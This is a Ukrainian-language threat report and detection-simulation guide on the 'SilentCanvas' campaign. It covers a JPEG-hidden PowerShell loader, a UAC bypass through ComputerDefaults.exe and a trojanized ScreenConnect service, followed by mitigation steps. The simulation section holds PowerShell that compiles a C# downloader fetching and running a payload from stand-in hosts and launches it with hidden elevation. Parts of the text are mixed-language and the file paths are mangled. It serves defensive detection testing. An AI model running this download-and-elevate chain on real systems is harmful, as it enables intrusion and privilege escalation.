ОПЕРАЦІЯ SILENTCANVAS: ВТОРГНЕННЯ ЧЕРЕЗ БАГАТОСТУПЕНЕВИЙ POWERSHELL НА ОСНОВІ JPEG

Резюме

Операція SilentCanvas – це складне багатоступеневе проникнення, яке приховує шкідливе навантаження PowerShell всередині файлу JPEG з назвою sysupdate.jpeg. Це навантаження отримує і компілює власний лаунчер, що створюється через csc.exe, використовує ComputerDefaults.exe для безфайлового обходу UAC і встановлює троянізовану службу ConnectWise ScreenConnect під назвою OneDriveServers для підтримання постійного віддаленого доступу. Зловмисне програмне забезпечення спілкується через зашифровані канали, спрямовані на legitserver.theworkpc.com через порти 5443 and 8041. Кампанія також демонструє сильний акцент на обході захисту, зборі облікових даних та прихованому контролі.

Розслідування

Звіт охоплює як статичний, так і динамічний аналіз загрузчика на основі JPEG, динамічно зкомпільованого uds.exe бінарія та модифікованих компонентів ScreenConnect. Дослідники визначили кілька наступальних технік, включаючи обхід AMSI, зловживання бінарними кодами, викрадення реєстру і власну похідну ключа для зашифрованого зв’язку. Аналіз інфраструктури показав запрограмоване відображення між legitserver.theworkpc.com та IP-адресою 45.138.16.64. Розслідування також виявило детальну профілізацію жертв, маніпуляції з локальними обліковими записами та функціональність, пов’язану з прихованим доступом до робочого столу.

Пом’якшення

Захисники повинні застосовувати жорсткий контроль того, хто може використовувати легітимні інструменти для віддаленого моніторингу та управління, і обмежити або ретельно контролювати виконання csc.exe, cvtres.exe, і ComputerDefaults.exe. Моніторинг також повинен зосередитися на підозрілих змінах реєстру ms-settings, поведінці обходу AMSI PowerShell, прихованих прапорах створення процесів та несанкціонованому створенні служб, що стосуються імені registry changes, PowerShell AMSI bypass behavior, hidden process creation flags, and unauthorized service creation involving the name OneDriveServers. Будь-які облікові записи, які могли бути розкриті, необхідно скинути, а постраждалі системи слід швидко ізолювати, щоб запобігти подальшим зловживанням.

Відповідь

Якщо виявлено пов’язані індикатори, кінцеву точку слід негайно ізолювати, шкідливий uds.exe процес та пов’язані з нею активності PowerShell мають бути завершені, а OneDriveServers службу слід видалити з хоста. Дослідники повинні зібрати артефакти реєстру, бінарні файли служби та мережеві телеметрії, пов’язані з командною інфраструктурою, для глибшого судово-медичного аналізу. Усі привілейовані облікові дані повинні бути змінені, і захисники повинні контролювати шаблони бічного переміщення, пов’язані з техніками, задокументованими в кампанії.

Виконання Симуляції

Передумова: Перевірка Початкового Телеметрії та Базового Стану повинна бути успішною.

Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP та прагнути генерувати саме ту телеметрію, яка очікується відповідно до логіки виявлення. Абстрактні або несумісні приклади можуть призвести до помилкових діагнозів.

• Сценарій Атаки та Команди:

  1. Спочаткове проникнення: Супротивник отримує сесію PowerShell із низькими привілеями на кінцевому пристрої.
  2. Живе компілювання: Використовуючи вже наявну csc.exe, супротивник компілює C# завантажувач, який завантажує навантаження другого етапу з сервера C2. Компіляція запускається з процесу PowerShell, щоб задовольнити умову батьківського дочірнього.
  3. Безфайловий обхід UAC: Супротивник запускає новостворений виконуваний файл через ComputerDefaults.exe, який тихо запитує підвищення привілеїв без відображення сповіщення UAC.
  4. Виконання після підвищення: Підвищене навантаження встановлює зворотну оболонку назад до супротивника.

  # Крок 1 – Підготовка шкідливого джерела C# (в пам'яті)
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Крок 2 – Компіляція через csc.exe (батько = PowerShell)
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # Крок 3 – Виклик обходу UAC з використанням ComputerDefaults.exe (все ще дочірній процес PowerShell)
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Скрипт Регресійного Тесту: (самодостатній скрипт PowerShell, що відтворює наведені вище етапи)

  # -----------------------------------------------------------------
  # Файл: trigger_csc_uac_bypass.ps1
  # Призначення: Імітація ланцюга атак csc.exe + ComputerDefaults.exe
  # -----------------------------------------------------------------
  
  # Створіть шкідливе джерело C# в тимчасовій директорії
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Компіляція з csc.exe (цей процес PowerShell стає батьком)
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # Виконання через ComputerDefaults.exe для виконання тихого обходу UAC
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Команди Очищення:

  # Видалити згенеровані артефакти
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # Додатково зупинити будь-які залишкові процеси, запущені тестом
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force